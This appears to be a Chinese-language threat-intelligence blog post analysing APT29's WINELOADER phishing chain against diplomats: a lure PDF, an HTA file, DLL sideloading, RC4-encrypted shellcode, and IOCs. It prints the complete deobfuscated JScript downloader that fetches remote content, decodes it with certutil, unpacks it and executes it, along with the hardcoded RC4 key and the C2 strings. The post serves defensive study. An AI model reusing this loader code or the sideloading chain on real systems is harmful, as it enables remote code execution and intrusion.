一、前言
此次分析的样本来源于威胁情报渠道,样本被Zscaler首次发现于葡萄酒主题活动邀请的邮件附件,是针对印度、欧洲等国家的外交官发起的钓鱼攻击活动,所以将此样本被其命名为WINELOADER。此次鱼叉式攻击涉及的邮件附件相比作者以往见过的样本,执行链路长、新颖且完善,遂记录学习。
样本涉及多个阶段载荷和域名,涉及hta诱饵文件、js混淆、白加黑、dll劫持、特别的密文结构、多次RC4对称加解密等技术细节,并且其中一些域名网站为失陷的合法WordPress网站,被攻击者用于负载载荷。
二、背景
APT29,又名CozyBear, Nobelium, TheDukes,据信是俄罗斯有关的APT组织。该组织攻击活动可追溯至2008年,主要攻击目标包括西方政府组织机构,近年也活跃在俄乌战场中。
三、攻击链概述
攻击链流程如下(偷个懒)。
- 初始pdf中包含恶意链接,访问、下载压缩包文件。
- 压缩包文件中包含”.hta“文件,其中包含恶意的、经过混淆的恶意js代码。
- js代码执行下载后续压缩包载荷,并且解压、执行其中的文件。
- 文件中包含白exe文件,以及被攻击者精心构造的恶意dll文件,dll文件也是WINELOADER主体的加载器。
- dll中的恶意代码执行,会继续下载后续载荷,但是目前C2已经失效,猜测可能是类似cobalt strike的分段载荷。
# 四、样本执行链路分析
## 4.1 诱饵pdf文件分析
钓鱼邮件包含pdf附件,文档内容被精心构造为不同的主题,常见于有针对性目标的邀请函等,诱饵文档中包含恶意链接。
PDF邀请中的恶意链接将用户重定向至受感染的网站。
hxxps://seeceafcleaners[.]co[.]uk/wine.php
hxxps://passatempobasico.com.br/wine.php
hxxps://waterforvoiceless[.]org/invite.php
访问链接受害者将下载包含恶意HTA文件的压缩包存档。
4.2 “.hta”恶意文件分析
.hta 文件是一种 HTML 应用程序(HTML Application)的文件类型,它允许使用 HTML、JavaScript和VBScript创建一个本地的Windows应用程序。这种文件类型通常被用于创建简单的 Windows 界面或者执行一些系统管理任务。攻击者也可以有目的编写JavaScript和VBScript做恶意用途。
“.hta”文件执行后,会展示与诱饵pdf主题配套的html界面迷惑用户,同时会执行包含在其中的恶意JavaScript。
格式化经过混淆的JavaScript下载器。
经调试获取外连URL。
hxxps://waterforvoiceless.org/util.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php
脚本详细功能如下。
- 向url “hxxps://waterforvoiceless.org/util.php 发送get请求,下载Base64编码的文本文件
- 若响应状态码为200,则读取响应内容,写入文件“C:\Windows\Tasks\invite.txt”中。
- 调用certutil指令解码,将文本文件解码为压缩包文件“C:\Windows\Tasks\invite.zip”
- 延时3秒,调用tar指令,解压压缩包文件。压缩包中包含“SqlDumper.exe”和“vcruntime140.dll”。vcruntime140.dll是攻击者制作的恶意DLL,在执行sqlwriter.exe时会自动加载。
- 延时3秒,执行文件"C:\Windows\Tasks\SqlDumper.exe"。
经过格式化和解除混淆完整JavaScript代码如下。
var a = new ActiveXObject("Wscript.Shell"); //创建了一个 WScript Shell 对象,常用于执行系统命令。
function Ijdaskjw(url) {
var HttpRequest = new XMLHttpRequest();//创建XMLHttpRequest 对象,用于发起 HTTP 请求。
HttpRequest.onreadystatechange = function () {
if (HttpRequest.readyState == 0x4 && HttpRequest.status == 0xc8) {//若响应状态码200
var httpResposneText = HttpRequest.response;//读取响应内容
var FILE = new ActiveXObject("Scripting.FileSystemObject");//创建FileSystemObject对象,用于文件系统操作
//创建文本文件,写入响应内容
var fileDeal = FILE.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 0x2, true, 0x0);
fileDeal.Write(httpResposneText);
fileDeal.close();
//调用certutil解码 ,文本文件转压缩文件
a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0x0);
//延时3秒
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xbb8);
//调用tar指令解压invite.zip文件
a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0x0);
//延时3秒
var _0x245d53 = Date.now();
var _0x3f9f72 = null;
do {
_0x3f9f72 = Date.now();
} while (_0x3f9f72 - _0x245d53 < 0xdac);
//执行文件
a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
}
};
//发送请求
HttpRequest.open("GET", url, true);//"https://waterforvoiceless.org/util.php"
HttpRequest.send(null);
}
Ijdaskjw("hxxps://waterforvoiceless.org/util.php");
4.3 wineloader
4.3.1 白加黑加载恶意代码
执行sqlwriter.exe时,将使用侧加载技术从当前路径加载名为vcruntime140.dll的恶意DLL,其中包含shellcode解密代码。
其中sqlwriter.exe为拥有微软签名的白名单文件,应用于开发Microsoft SQLServer的相关组件。
其中vcruntime140.dll是被攻击者精心构造的劫持DLL,恶意代码位于导出函数“memset”中。
另一个同类型样本恶意代码位于导出函数“_set_se_translator”中。
4.3.2 shellcode解密
将RIP断于恶意代码位置。
shellcode使用RC4解密,密文长度0x8028,解密前后如下。
rc4密钥硬编码在样本中,位置位于恶意导出函数之后。
rc4首次解密 KEY
6712D5F2B61FC72CCD7E4817C4C152689F01772DC4FBD27151308F3CCE01DB266D3FADE4588A4B87148ABCCD34AA6CC268173504C03D3D911040C3C6310C7271A8C5CEB9F26289F3CD366065A72B43752203689DA5C2A6DA4C748D96B256316F515971A18A3EB29B2482013C17B69062AD92FEF4265774741CF931EE4813177C249422ED603C3E35B10645488DAE3A886DE4C13C9EF37D1EC15E1948603CD5A2E48CD39CB8548E211BC5AA9F6A93388618565C725D0758F13EA643E42CFC6F1116D573925B4005E6C1888BA9A7A365842744BC7D862CB08B5D0F24650E9954F90D4417A4FDA7E1651C5F4EFE75825BC6BCF995A6D37E5AD6FBDE9972E0D60768
初次解密后还不是最终明文,开发者还精心构造了RC4密文字段(key与首次解密一致),密文包括关键的winapi、字符、配置信息等。
下图展示了密文结构,头部3个字节为C2轮询间隔,偏移0x20为rc4_KEY,后续则为密文长度+密文。
提取到关键的http字段url、useragent
- siestakeying[.]com/auth[.]php
- castechtools[.]com/api[.]php
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
- POST
全解密字符如下,结构 ”明文: 密文“
dll: 50FD86E448
ProcessPrng: 2EEB85EB2D08F07A43EAAF62
ExitThread: 3BE183FC1C13F14F50E0C8
VirtualProtect: 28F098FC3D1AEF7A43EBBC07CF3095000E
\*.dll: 2299C088667BE72A5D84A462AC44
FindFirstFileW: 38F084EC0E12F15945C2A10EC913950016
user32.dll: 0B9999882D7BF12A0284FA628244F1F78B3AD12F729
rpcrt4.dll: 0C999A882B7BF12A4584FC628244F1F78B3AD12F729
bcryptprimitives.dll: 1C9989883A7BFA2A4184BC62DC44E7F78E3AD02F1B90DDDBE0048D0131C5FEF8B12535223C2E8C38D162
kernelbase.dll: 15998F883A7BED2A5484A462CE44F4F7943AD82F5C90CDDBE504970154C5
ole32.dll: 119986882D7BB02A0384E662C844F9F78B3ABD2F
mscoree.dll: 139999882B7BEC2A4384AD62C944BBF7833AD12F1E90A9DB14
GetSystemDirectoryW: 39FC9EDB3108F74F5CC0A110C927E1989543EA2F
ReadFile: 2CFC8BEC0E12EF4F31
text: 50ED8FF03C7B
SetFilePointer: 2DFC9ECE2117E67A5EEDA616C93695001
NtòruateSection: 30ED18FA3D1AF74F62E1AB16C52BFBF713
NtMapViewOfSection: 30EDA7E9382DEA4F46CBAE31C927E19E8854BD
FindNextFileW: 38F084EC061EFB5E77EDA407FB44
FindClose: 38F084EC0B17EC595484
InternetOpenW: 37F79EED3A15E65E7EF4AD0CFB44
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36.: 33998588327BEA2A5D84A462CD44BAF7D23A932F429089DBA104AC013DC5E3F8FB253E22272E9338F162D7C15E288721BD8E2E2575B6DCF92715F6B392FAB421455C58A11F864F57A729B24B6FD57A86366E97E612CCD8E1B0F235D2B0278D48405BFB8F204A63D39C252CCA1DCA50DB5B7A805600BAB54FEB40048B3F0BE8166C8FD4AD951AC8A2FB7B1394436185824D840A2A1DC1A62E6AFE5296F45820B0D37D91E854681FE195A92A3954CD7F28F0DBDB356E483294ECF7F142713ADAC1699E605A609F7B20BB518C14E0AF1C5D6B29CA0BDE1E213D93EB692C33D7B504725F1245E990D91E3801
InternetConnectW: 37F79EED3A15E65E72EBA60CC927E1A0E7
siestakeying.com: 0D9983882D7BF02A4584A962C744F0F79E3AD42F1C90CEDBA70498013BC5E0F89F25
HttpOpenRequestW: 36ED9EF8070BE64463E1B917C937E1A0E7
/auth.php: 51998B883D7BF72A5984E662DC44FDF7973ABD2F
InternetQueryOptionW: 37F79EED3A15E65E60F1AD10D50BE5838E55D37872
InternetSetOptionW: 37F79EED3A15E65E62E1BC2DDC30FC98896DBD
HttpSendRequestW: 36ED9EF81B1EED4E63E1B917C937E1A0E7
HttpQueryInfoW: 36ED9EF8190EE65848CDA604C31395000E
StrToInt64ExW: 2DED98DC2732ED5E07B08D1AFB44
shlwapi.dll: 0D998288247BF42A5084B862C544BBF7833AD12F1E90A9DB11
InternetReadFile: 37F79EED3A15E65E63E1A906EA2DF992E7
InternetCloseHandle: 37F79EED3A15E65E72E8A711C90CF4998356D82F
wininet.dll: 09998388267BEA2A5F84AD62D844BBF7833AD12F1E90A9DB15
GetAdaptersAddresses: 39FC9EC92C1AF35E54F6BB23C820E7929449D85C72
iphlpapi.dll: 17999A88207BEF2A4184A962DC44FCF7C93AD92F1E90C5DB8904
OpenProcessToken: 31E98FE61809EC4954F7BB36C32FF099E7
GetTokenInformation: 39FC9EDC2710E64478EAAE0DDE29F4838E55D32F
???: A10558AA2009DD1231
GetUserNameW: 39FC9EDD3B1EF16450E9AD35AC
Advapi32.dll: 3F998E883E7BE22A4184A1629F44A7F7C93AD92F1E90C5DB8904
GetComputerNameW: 39FC9ECB2716F35F45E1BA2CCD29F0A0E7
POST: 2E99A5881B7BD72A3184
CreateThread: 3DEB8FE93C1ED74243E1A906AC
\\.\pipe\: 2299B688667BDF2A4184A162DC44F0F7BB3ABD2F
GetCurrentProcessId: 39FC9ECB3D09F14F5FF09810C327F0849473D92F
CreateNamedPipeW: 3DEB8FE93C1ECD4B5CE1AC32C534F0A0E7
_open_osfhandle: 21F69AED2624EC5957ECA90CC828F0F73E
api-ms-win-crt-math-l1-1-0.dll: 1F999A88217BAE2A5C84BB628144E2F78E3AD32F5F90CADBFB048F0179C5E0F8FE252522382ECD38BD62A8C127289621A18E2E2575B688F97015BAB3C5FA
_dup2: 21FD9FF87A7B
__acrt_iob_func: 21C68BEB3A0FDC435EE69704D92AF6F74
api-ms-win-crt-stdio-l1-1-0.dll: 01F999A88217BAE2A5C84BB628144E2F78E3AD32F5F90CADBFB048F0179C5FEF8EB253522392E8F38FC62F5C13B288A21BD8E33256BB6C2F97815BAB3A9FADD210C
CreateFileW: 3DEB8FE93C1EC5435DE19F62
CreateFileMappingW: 3DEB8FE93C1EC5435DE18503DC34FC99806DBD
OpenFileMappingW: 31E98FE60E12EF4F7CE5B812C52AF2A0E7
MapViewOfFile: 33F89ADE211EF46557C2A10EC944
UnmapViewOfFile: 2BF787E9382DEA4F46CBAE24C528F0F70C
CloseHandle: 3DF585FB2D33E24455E8AD62
FreeConsole: 38EB8FED0B14ED595EE8AD62
Updated agent: 2B999A882C7BE22A4584AD62C844B5F7863ADA2F1790C7DBFD04FB01
089989883A7BF62A5F84BC62C544F8F7823A8C2F469099DBA7049F0138C5E1F89F25
HeapAlloc: 36FC8BF80917EF455284
HeapFree: 36FC8BF80E09E64F31
GetProcessHeap: 39FC9ED83A14E04F42F78007CD34950015
NtUnmapViewOfSection: 30EDBFE6251AF37C58E1BF2DCA17F0949353D24172
ntdll.dll: 10999E882C7BEF2A5D84E662C844F9F78B3ABD2F
GetCurrentProcess: 39FC9ECB3D09F14F5FF09810C327F084943A
Sleep: 2DF58FED387B
LoadLibraryW: 32F68BEC0412E15850F6B135AC
kernel32.dll: 15998F883A7BED2A5484A4629F44A7F7C93AD92F1E90C5DB8904
??: 00C2BCDD65
在解密了代码分析所必需的所有关键API和字符串后,此加载程序的将向C2服务器url(siestakeying[.]com/auth[.]php)发起 HTTP POST请求,继续下载其他组件或其他恶意软件,以在受感染的主机上进一步执行恶意操作。
但是现在所有C2 URL都已经失效,zscaler貌似在早期捕获了后续载荷并公布了hash,但是此次分析的样本是一个变种,目前还没有途径可以获取样本。
所以分析就到此为止了。
感谢你的阅读~
附录IOC
- pdf邮件附件
30a762f747ba9432673b8b94066b270a
6e1b219fc0db106ff3a6e982fb7b9241
fb6323c19d3399ba94ecd391f7e35a9c - 包含hta文件的压缩包文件
7a465344a58a6c67d5a733a815ef4cb7 - 恶意hta文件
9e07a9b8dd3ae5e360cfacc20bd1ec38
efafcd00b9157b4146506bd381326f39 - 包含黑白文件的压缩包
5928907c41368d6e87dc3e4e4be30e42 -
vcruntime140.dll(WINELOADER核心模块加载器)
7961263963841010a049265956b14666
8bd528d2b828c9289d9063eba2dc6aa0
e017bfc36e387e8c3e7a338782805dde -
url
hxxps://seeceafcleaners[.]co[.]uk/wine.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php
hxxps://passatempobasico.com[.]br/wine.php
hxxps://waterforvoiceless[.]org/invite.php
hxxps://waterforvoiceless[.]org/util.php
hxxps://castechtools[.]com/api[.]php
hxxps://siestakeying[.]com/auth[.]php